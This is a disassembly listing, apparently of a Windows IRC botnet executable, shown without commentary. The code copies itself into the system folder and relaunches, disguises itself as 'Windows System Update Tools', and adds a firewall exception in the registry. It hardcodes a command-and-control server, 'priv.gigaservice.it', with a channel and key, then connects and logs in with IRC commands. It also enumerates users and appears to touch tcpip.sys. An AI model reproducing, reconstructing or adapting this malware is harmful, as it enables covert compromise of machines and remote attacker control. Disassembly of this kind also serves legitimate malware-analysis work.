		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E96B
		jmp	short loc_40E9D4
; ---------------------------------------------------------------------------


loc_40E9AA:				; CODE XREF: sub_40E8B9+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_42E8FC
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 1Ch


loc_40E9D4:				; CODE XREF: sub_40E8B9+9Ej
					; sub_40E8B9+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E9E7
		push	edi
		call	dword_441448
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E9E7:				; CODE XREF: sub_40E8B9+A5j
					; sub_40E8B9+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E8F8
		cmp	edi, esi
		jz	short loc_40E9FF
		push	edi
		call	dword_441448


loc_40E9FF:				; CODE XREF: sub_40E8B9+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E8B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA39	proc near		; CODE XREF: sub_40E08F+41p
					; sub_40E284+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40EAEB
		jz	loc_40EAE4
		cmp	eax, 7Bh
		ja	short loc_40EAB0
		jz	short loc_40EAA6
		cmp	eax, 5
		jz	short loc_40EA9C
		cmp	eax, 8
		jz	short loc_40EA92
		cmp	eax, 32h
		jz	short loc_40EA88
		cmp	eax, 35h
		jz	short loc_40EA7E
		cmp	eax, 57h
		jnz	loc_40EB3A
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EA7E:				; CODE XREF: sub_40EA39+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EA88:				; CODE XREF: sub_40EA39+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EA92:				; CODE XREF: sub_40EA39+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EA9C:				; CODE XREF: sub_40EA39+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EAA6:				; CODE XREF: sub_40EA39+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EAB0:				; CODE XREF: sub_40EA39+1Aj
		sub	eax, 7Ch
		jz	short loc_40EADD
		sub	eax, 7C8h
		jz	short loc_40EAD6
		dec	eax
		jz	short loc_40EACC
		dec	eax
		jnz	short loc_40EB3A
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EACC:				; CODE XREF: sub_40EA39+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40EA39+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EADD:				; CODE XREF: sub_40EA39+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EAE4:				; CODE XREF: sub_40EA39+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EAEB:				; CODE XREF: sub_40EA39+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40EB24
		jz	short loc_40EB1D
		sub	eax, 8ADh
		jz	short loc_40EB4F
		dec	eax
		dec	eax
		jz	short loc_40EB16
		dec	eax
		jz	short loc_40EB0F
		dec	eax
		dec	eax
		jnz	short loc_40EB3A
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB0F:				; CODE XREF: sub_40EA39+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB16:				; CODE XREF: sub_40EA39+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB1D:				; CODE XREF: sub_40EA39+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB24:				; CODE XREF: sub_40EA39+B9j
		sub	eax, 8CAh
		jz	short loc_40EB56
		sub	eax, 17h
		jz	short loc_40EB4F
		sub	eax, 25h
		jz	short loc_40EB48
		sub	eax, 29h
		jz	short loc_40EB41


loc_40EB3A:				; CODE XREF: sub_40EA39+35j
					; sub_40EA39+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB41:				; CODE XREF: sub_40EA39+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40EA39+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB4F:				; CODE XREF: sub_40EA39+C2j
					; sub_40EA39+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB56:				; CODE XREF: sub_40EA39+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40EB5B:				; CODE XREF: sub_40EA39+40j
					; sub_40EA39+4Aj ...
		push	offset dword_445A2C
		call	sub_4173AC
		pop	ecx
		mov	eax, offset dword_445A2C
		pop	ecx
		retn
sub_40EA39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB6D	proc near		; CODE XREF: sub_40F6F1+230Cp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417CAE
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 7C8216A4h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_417CAE
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417C91
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4413C8
		test	eax, eax
		jnz	short loc_40EBFD
		mov	esi, offset dword_445828
		push	offset unk_42EC9C
		push	esi
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	short loc_40EC26
; ---------------------------------------------------------------------------


loc_40EBFD:				; CODE XREF: sub_40EB6D+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40EA39
		pop	ecx
		mov	esi, offset dword_445828
		push	eax
		push	offset unk_42EC60
		push	esi
		call	sub_4173AC
		add	esp, 14h


loc_40EC26:				; CODE XREF: sub_40EB6D+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40EB6D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A90h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-0Ch], offset sub_40D93C
		push	dword ptr [ebp-0Ch]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42ED68, ebx
		jz	short loc_40EC64
		call	sub_40AD3F


loc_40EC64:				; CODE XREF: ___:0040EC5Dj
		mov	esi, dword_421064
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_5154C0, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_4173FE
		pop	ecx
		call	sub_409794
		push	2
		call	dword_441464	; SetErrorMode
		push	7530h
		push	offset aArra	; "arra"
		push	ebx
		push	ebx
		nop
		call	near ptr 7C80E93Fh
		push	eax
		nop
		call	near ptr 7C802520h
		cmp	eax, 102h
		jnz	short loc_40ECB8
		push	1
		nop
		call	near ptr 7C81CDDAh


loc_40ECB8:				; CODE XREF: ___:0040ECAEj
		lea	eax, [ebp-98Ch]
		push	eax
		push	202h
		call	dword_441330	; WSAStartup
		cmp	eax, ebx
		mov	[ebp-0Ch], eax
		jnz	loc_40F31D
		cmp	byte ptr [ebp-98Ch], 2
		jnz	loc_40F317
		xor	eax, eax
		mov	al, [ebp-98Bh]
		cmp	al, 2
		jnz	loc_40F317
		mov	esi, 104h
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		nop
		call	near ptr 7C814EEAh
		lea	eax, [ebp-2F0h]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 7C80B6A1h
		push	eax
		nop
		call	near ptr 7C80B4CFh
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-7FCh]
		push	eax
		push	ebx
		lea	eax, [ebp-2F0h]
		push	ebx
		push	eax
		call	sub_418AA8
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-7FCh]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-4F8h]
		push	esi
		push	eax
		call	sub_41792A
		lea	eax, [ebp-3F4h]
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax
		call	sub_417980
		add	esp, 30h
		mov	esi, offset byte_42EDC4
		test	eax, eax
		jnz	loc_40EF33
		cmp	dword_515630, ebx
		jz	short loc_40EDB3
		push	esi
		xor	edi, edi
		call	sub_417AF0
		sub	eax, 4
		pop	ecx
		jz	short loc_40EDB3


loc_40ED90:				; CODE XREF: ___:0040EDB1j
		call	sub_417408
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42EDC4[edi], dl
		inc	edi
		call	sub_417AF0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40ED90


loc_40EDB3:				; CODE XREF: ___:0040ED80j
					; ___:0040ED8Ej
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		lea	eax, [ebp-1ECh]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4173AC
		add	esp, 10h
		lea	eax, [ebp-1ECh]
		push	eax
		nop
		call	near ptr 7C81153Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EDF3
		lea	eax, [ebp-1ECh]
		push	80h
		push	eax
		nop
		call	near ptr 7C812782h


loc_40EDF3:				; CODE XREF: ___:0040EDDFj
		mov	edi, dword_421130
		lea	eax, [ebp-1ECh]
		push	ebx
		push	eax
		lea	eax, [ebp-2F0h]
		mov	[ebp-4], ebx
		push	eax


loc_40EE0B:				; CODE XREF: ___:0040EE47j
		call	edi	; CopyFileA
		test	eax, eax
		jnz	short loc_40EE49
		nop
		call	near ptr 7C910331h
		cmp	[ebp-4], ebx
		jnz	short loc_40EE49
		cmp	eax, 20h
		jz	short loc_40EE26
		cmp	eax, 5
		jnz	short loc_40EE49


loc_40EE26:				; CODE XREF: ___:0040EE1Fj
		push	3A98h
		mov	dword ptr [ebp-4], 1
		nop
		call	near ptr 7C802442h
		lea	eax, [ebp-1ECh]
		push	ebx
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax
		jmp	short loc_40EE0B
; ---------------------------------------------------------------------------


loc_40EE49:				; CODE XREF: ___:0040EE0Fj
					; ___:0040EE1Aj ...
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_40AAF1
		pop	ecx
		lea	eax, [ebp-1ECh]
		push	7
		push	eax
		nop
		call	near ptr 7C812782h
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_417430
		push	44h
		lea	eax, [ebp-0E8h]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 18h
		mov	[ebp-0E8h], edi
		mov	dword ptr [ebp-0DCh], offset byte_43C63C
		mov	[ebp-0B8h], bx
		push	1
		pop	edi
		mov	[ebp-0BCh], edi
		nop
		call	near ptr 7C809920h
		push	eax
		push	edi
		push	100000h
		nop
		call	near ptr 7C8309E1h
		lea	ecx, [ebp-2F0h]
		push	ecx
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		lea	eax, [ebp-0A90h]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_4173AC
		add	esp, 14h
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-0E8h]
		push	eax
		lea	eax, [ebp-3F4h]
		push	eax
		push	ebx
		push	28h
		push	edi
		push	ebx
		lea	eax, [ebp-0A90h]
		push	ebx
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		nop
		call	near ptr 7C802367h
		test	eax, eax
		jz	short loc_40EF36
		push	0C8h
		nop
		call	near ptr 7C802442h
		push	dword ptr [ebp-24h]
		mov	esi, dword_42107C
		call	esi	; CloseHandle
		push	dword ptr [ebp-20h]
		call	esi	; CloseHandle
		call	dword_441318	; WSACleanup
		push	ebx
		nop
		call	near ptr 7C81CDDAh


loc_40EF33:				; CODE XREF: ___:0040ED74j
		push	1
		pop	edi


loc_40EF36:				; CODE XREF: ___:0040EF09j
		cmp	dword_5158A0, 2
		jle	short loc_40EF85
		mov	eax, dword_5158A4
		push	dword ptr [eax+4]
		call	sub_41791F
		pop	ecx
		mov	[ebp-4], eax
		push	0FFFFFFFFh
		push	eax
		nop
		call	near ptr 7C802520h
		push	dword ptr [ebp-4]
		nop
		call	near ptr 7C809B47h
		mov	eax, dword_5158A4
		cmp	[eax+8], ebx
		jz	short loc_40EF85
		push	7D0h
		nop
		call	near ptr 7C802442h
		mov	eax, dword_5158A4
		push	dword ptr [eax+8]
		nop
		call	near ptr 7C831EABh


loc_40EF85:				; CODE XREF: ___:0040EF3Dj
					; ___:0040EF6Aj
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		lea	eax, [ebp-5FCh]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	dword_42ECF4, ebx
		jz	short loc_40EFBE
		cmp	dword_441488, ebx
		jnz	short loc_40EFBE
		lea	eax, [ebp-4F8h]
		push	eax
		call	sub_40C738
		pop	ecx


loc_40EFBE:				; CODE XREF: ___:0040EFA7j
					; ___:0040EFAFj
		cmp	dword_42ED08, ebx
		jz	short loc_40F039
		lea	eax, [ebp-5FCh]
		push	offset aWindowsSystemU ; "Windows System Update	Tools"
		push	eax
		push	offset aSEnabledS ; "%s:*:Enabled:%s"
		lea	eax, [ebp-1E8h]
		push	100h
		push	eax
		call	sub_41792A
		add	esp, 14h
		lea	eax, [ebp-4]
		push	ebx
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	dword_44136C	; RegCreateKeyExA
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		push	edi
		lea	eax, [ebp-5FCh]
		push	ebx
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4413DC	; RegSetValueExA
		push	dword ptr [ebp-4]
		call	dword_441394	; RegCloseKey


loc_40F039:				; CODE XREF: ___:0040EFC4j
		lea	eax, [ebp-0A4h]
		push	offset dword_434A44
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp-0A4h]
		push	ebx
		push	eax
		call	sub_416E58
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_40C4F7
		push	0B80h
		push	ebx
		push	offset dword_446090
		call	sub_417430
		lea	eax, [ebp-0A4h]
		push	offset unk_434A0C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp-0A4h]
		push	edi
		push	eax
		call	sub_416E58
		add	esp, 38h
		mov	edi, eax
		mov	esi, dword_42109C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_415ED7
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_446E24[edi], eax
		jnz	short loc_40F0D8
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp-0A4h]
		push	offset unk_4349B8
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_40F0D8:				; CODE XREF: ___:0040F0BBj
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_40C4F7
		lea	eax, [ebp-0A4h]
		mov	dword ptr [esp], offset	unk_43497C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp-0A4h]
		push	1
		push	eax
		call	sub_416E58
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_416B9C
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_446E24[edi], eax
		jnz	short loc_40F145
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp-0A4h]
		push	offset unk_434930
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_40F145:				; CODE XREF: ___:0040F128j
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_40C4F7
		lea	eax, [ebp-0A4h]
		mov	dword ptr [esp], offset	unk_4348F8
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp-0A4h]
		push	1
		push	eax
		call	sub_416E58
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset dword_40C7A8
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_446E24[edi], eax
		jnz	short loc_40F1B8
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp-0A4h]
		push	offset unk_4348AC
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_40F1B8:				; CODE XREF: ___:0040F19Bj
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_40C4F7
		call	sub_417408
		push	7Fh
		push	offset aPriv_gigaservi ; "priv.gigaservice.it"
		push	offset dword_5154CC
		mov	dword_515650, ebx
		call	sub_4182F0
		mov	eax, dword_42ECD8
		push	3Fh
		mov	edi, offset dword_51554C
		push	offset aSodoma_3 ; "##sodoma_3"
		push	edi
		mov	dword_51561C, eax
		call	sub_4182F0
		push	3Fh
		mov	esi, offset dword_51558C
		push	offset aS0dom4j03 ; "s0dom4j03"
		push	esi
		call	sub_4182F0
		add	esp, 28h
		mov	dword_515620, ebx


loc_40F217:				; CODE XREF: ___:0040F2BDj
					; ___:0040F2C8j ...
		mov	[ebp-4], ebx


loc_40F21A:				; CODE XREF: ___:0040F271j
		cmp	dword_4414A0, ebx
		jnz	short loc_40F238
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		call	dword_4412FC	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40F238
		push	7530h
		jmp	short loc_40F264
; ---------------------------------------------------------------------------


loc_40F238:				; CODE XREF: ___:0040F220j
					; ___:0040F22Fj
		push	offset dword_5154C8
		mov	dword_51564C, ebx
		call	sub_40F326
		cmp	eax, 2
		mov	[ebp-0Ch], eax
		jz	loc_40F312
		cmp	dword_51564C, ebx
		jz	short loc_40F25F
		dec	dword ptr [ebp-4]


loc_40F25F:				; CODE XREF: ___:0040F25Aj
		push	0BB8h


loc_40F264:				; CODE XREF: ___:0040F236j
		nop
		call	near ptr 7C802442h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40F21A
		cmp	dword ptr [ebp-0Ch], 2
		jz	loc_40F312
		cmp	[ebp-10h], ebx
		jz	short loc_40F2C2
		push	7Fh
		push	offset aPriv_gigaservi ; "priv.gigaservice.it"
		push	offset dword_5154CC
		call	sub_4182F0
		mov	eax, dword_42ECD8
		push	3Fh
		push	offset aSodoma_3 ; "##sodoma_3"
		push	edi
		mov	dword_51561C, eax
		call	sub_4182F0
		push	3Fh
		push	offset aS0dom4j03 ; "s0dom4j03"
		push	esi
		call	sub_4182F0
		add	esp, 24h
		mov	[ebp-10h], ebx
		jmp	loc_40F217
; ---------------------------------------------------------------------------


loc_40F2C2:				; CODE XREF: ___:0040F280j
		cmp	byte_51563C, bl
		jz	loc_40F217
		push	7Fh
		push	offset byte_51563C
		push	offset dword_5154CC
		call	sub_4182F0
		mov	eax, dword_42ECDC
		push	3Fh
		push	offset dword_515640
		push	edi
		mov	dword_51561C, eax
		call	sub_4182F0
		push	3Fh
		push	offset dword_515644
		push	esi
		call	sub_4182F0
		add	esp, 24h
		mov	dword ptr [ebp-10h], 1
		jmp	loc_40F217
; ---------------------------------------------------------------------------


loc_40F312:				; CODE XREF: ___:0040F24Ej
					; ___:0040F277j
		call	sub_417021


loc_40F317:				; CODE XREF: ___:0040ECDCj
					; ___:0040ECECj
		call	dword_441318	; WSACleanup


loc_40F31D:				; CODE XREF: ___:0040ECCFj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F326	proc near		; CODE XREF: ___:0040F243p
					; DATA XREF: sub_40F6F1+3C0Bo

var_4B4		= byte ptr -4B4h
var_3B0		= byte ptr -3B0h
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_D0		= byte ptr -0D0h
var_90		= byte ptr -90h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4B4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_194]
		xor	ebx, ebx
		rep movsd
		mov	[ebp+var_4], ebx
		mov	dword ptr [eax+160h], 1


loc_40F351:				; CODE XREF: sub_40F326+ABj
					; sub_40F326+21Aj ...
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40AE95
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_10], eax
		jz	loc_40F55F
		push	6
		push	1
		push	2
		call	dword_441438	; socket
		mov	esi, eax
		mov	eax, [ebp+var_38]
		imul	eax, 234h
		push	10h
		mov	dword_446E1C[eax], esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F3D6
		push	esi
		call	dword_441450	; closesocket
		call	sub_40AEBE
		push	7D0h


loc_40F3CB:				; CODE XREF: sub_40F326+22Aj
		nop
		call	near ptr 7C802442h
		jmp	loc_40F351
; ---------------------------------------------------------------------------


loc_40F3D6:				; CODE XREF: sub_40F326+92j
		push	1Ch
		lea	eax, [ebp+var_30]
		push	ebx
		push	eax
		call	sub_417430
		push	ebx
		lea	eax, [ebp+var_30]
		push	dword_42ED04
		push	dword_42ED00
		push	eax
		push	esi
		call	sub_4162D6
		push	1Bh
		mov	[ebp+arg_0], eax
		push	eax
		mov	eax, [ebp+var_38]
		imul	eax, 234h
		add	eax, offset byte_446E28
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_190]
		push	eax
		push	offset dword_434B48
		call	sub_40C56B
		add	esp, 34h
		cmp	dword_42ED0C, ebx
		jz	loc_40F504
		call	sub_40B051
		test	eax, eax
		jz	loc_40F504
		lea	eax, [ebp+var_4B4]
		push	104h
		push	eax
		nop
		call	near ptr 7C814EEAh
		lea	eax, [ebp+var_4B4]
		push	eax
		lea	eax, [ebp+var_3B0]
		push	offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_3B0]
		push	eax
		call	sub_40C127
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 3B10C483h, 81840FFBh, 8D000000h, 0FFFC5085h,	10468FFh
		dd 8D500000h, 0FFFD5C85h, 0B58950FFh, 0FFFFFD54h, 0FE649D89h
		dd 49E8FFFFh, 5300008Eh, 68216Ah, 8900434Bh, 0FFFE60BDh
		dd 799EE8FFh, 0C4830000h, 58858918h, 8DFFFFFDh,	8D50FC45h
		dd 0FFFD5485h, 685053FFh, 40B0E7h, 0E8905353h, 7C40115Bh
		dd 0FD588D8Bh, 0C969FFFFh, 234h, 8189C33Bh, 446E24h
; ---------------------------------------------------------------------------
		jz	short loc_40F504


loc_40F4F2:				; CODE XREF: sub_40F326+1DCj
		cmp	[ebp+var_198], ebx
		jnz	short loc_40F504
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_40F4F2
; ---------------------------------------------------------------------------


loc_40F504:				; CODE XREF: sub_40F326+107j
					; sub_40F326+114j ...
		push	[ebp+var_3C]
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		lea	eax, [ebp+var_D0]
		push	[ebp+var_194]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	sub_40F576
		add	esp, 20h
		mov	edi, eax
		push	esi
		call	dword_441450	; closesocket
		cmp	edi, ebx
		jz	loc_40F351
		cmp	edi, 1
		jnz	short loc_40F555
		push	0DBBA0h
		jmp	loc_40F3CB
; ---------------------------------------------------------------------------


loc_40F555:				; CODE XREF: sub_40F326+223j
		cmp	edi, 2
		jz	short loc_40F563
		jmp	loc_40F351
; ---------------------------------------------------------------------------


loc_40F55F:				; CODE XREF: sub_40F326+5Fj
		xor	eax, eax
		jmp	short loc_40F56F
; ---------------------------------------------------------------------------


loc_40F563:				; CODE XREF: sub_40F326+232j
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		push	2
		pop	eax


loc_40F56F:				; CODE XREF: sub_40F326+23Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F326	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F576	proc near		; CODE XREF: sub_40F326+207p

var_1A0C	= byte ptr -1A0Ch
var_A0C		= byte ptr -0A0Ch
var_23C		= byte ptr -23Ch
var_19C		= byte ptr -19Ch
var_9C		= byte ptr -9Ch
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A0Ch
		call	sub_417B70
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_19C]
		pop	ecx


loc_40F594:				; CODE XREF: sub_40F576+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40F594
		cmp	byte_515638, bl
		jz	short loc_40F5BB
		push	offset byte_515638
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40DBCA
		add	esp, 0Ch


loc_40F5BB:				; CODE XREF: sub_40F576+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_1C]
		push	ebx
		push	ebx
		push	1
		push	eax
		push	[ebp+arg_10]
		call	sub_4162D6
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_9C]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4173AC
		add	esp, 14h
		lea	eax, [ebp+var_9C]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F628
		push	[ebp+arg_0]
		call	dword_441450	; closesocket
		push	1388h
		nop
		call	near ptr 7C802442h


loc_40F621:				; CODE XREF: sub_40F576+DCj
					; sub_40F576+156j
		xor	eax, eax


